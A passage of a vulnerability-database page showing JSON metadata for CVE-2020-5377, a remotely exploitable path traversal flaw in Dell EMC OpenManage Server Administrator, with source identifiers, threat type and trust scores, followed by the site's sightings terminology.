        "date": "2020-10-08T00:00:00",
        "db": "JVNDB",
        "id": "JVNDB-2020-008945"
      },
      {
        "date": "2022-01-01T18:46:44.043000",
        "db": "NVD",
        "id": "CVE-2020-5377"
      },
      {
        "date": "2021-04-08T00:00:00",
        "db": "CNNVD",
        "id": "CNNVD-202007-1589"
      }
    ]
  },
  "threat_type": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/threat_type#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": "remote",
    "sources": [
      {
        "db": "PACKETSTORM",
        "id": "162110"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-202007-1589"
      }
    ],
    "trust": 0.7
  },
  "title": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/title#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": "Dell EMC OpenManage Server Administrator Path traversal vulnerability in",
    "sources": [
      {
        "db": "JVNDB",
        "id": "JVNDB-2020-008945"
      }
    ],
    "trust": 0.8
  },
  "type": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/type#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": "path traversal",
    "sources": [
      {
        "db": "CNNVD",
        "id": "CNNVD-202007-1589"
      }
    ],
    "trust": 0.6
  }
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.





Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.



Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.